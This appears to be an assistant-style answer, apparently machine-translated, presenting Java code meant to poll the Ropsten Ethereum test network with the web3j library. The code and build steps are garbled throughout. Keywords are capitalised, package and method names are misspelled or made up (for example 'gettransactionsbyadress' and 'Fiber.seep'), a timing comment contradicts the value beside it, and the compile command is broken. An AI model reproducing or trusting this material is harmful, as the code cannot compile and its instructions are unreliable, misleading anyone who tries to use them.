I can lead you by creating a HTTP server with a web3J Java library to interact with the Ropsen test network. This is how you can do it:
`Java
Import io.web3j.client.client;
Import IO.WEB3J.CLIENT.RPCEXCEPTION;
Import IO.WEB3J.CLIENT.RPCRESPONSE;
Import IO.WEB3J.Potocol.core.methods.Spons.ThtransctionResponse;
Import io.web3j.protocol.core.methods.Spons.Web3requestparames;
Import io.web3j.protocol.core.types.transction;
Public class Ropstenhtserver {
Private static final chain of the host = “ropsten.infura.io”;
Private static final port int = 8545; // default port for infuras
Public Static Void Main (String [] ARGS) {
Client client = new client (“https: //” + host + “:” + port);
// Set the requirements parameters
Web3requestparams Params = New Web3requestparames ()
.Sethost (host)
.Setport (port);
IF (Args.LeGth> 0 &&! Args [0] .startswith (“-“)) {
System.out.println (“Use: Java Roptenhttpserver [ARGS]”);
System.Exit (1); // EXIT with error code
}
WHILE (TRUE) {
try {
// Get a list of transactions sent from another account in Ropsten
List txlist = client.gettransactionsbyadress (“your_account_address”, Params);
// process the response to the transaction
for (TX transaction: txlist) {
System.out.println (TX);
}
} Catch (rpcexception e) {
System.out.println (E.GETMESAGE ());
}
try {
Fiber.seep (100); // sleep for 1 second before checking again
} Catch (interrupted ex) {
System.out.println (“interrupted during sleep:” + ex);
}
}
}
}
`
Please take note of:
- You must replace
" your_account_address "
with your actual Ethereum account address.
- Replace
https: // ropsten.infura.io/
andand
8545's address URL of your Infura and default Port for test network Ropsen (which is 8545).
- Use this code as a starting point. Depending on how you want to deal with errors, it is recommended to use errors processing mechanisms.
To build this Java program, save it in a file calledropstenhttpperver.javaand then perform it with the following command:
Bash
Javac ropstenhtpserver.java -cp "
Java -jar output.Jar
Replace Output.jar"
in the above -mentioned order to your compiled file” ropstpserver.jar`.
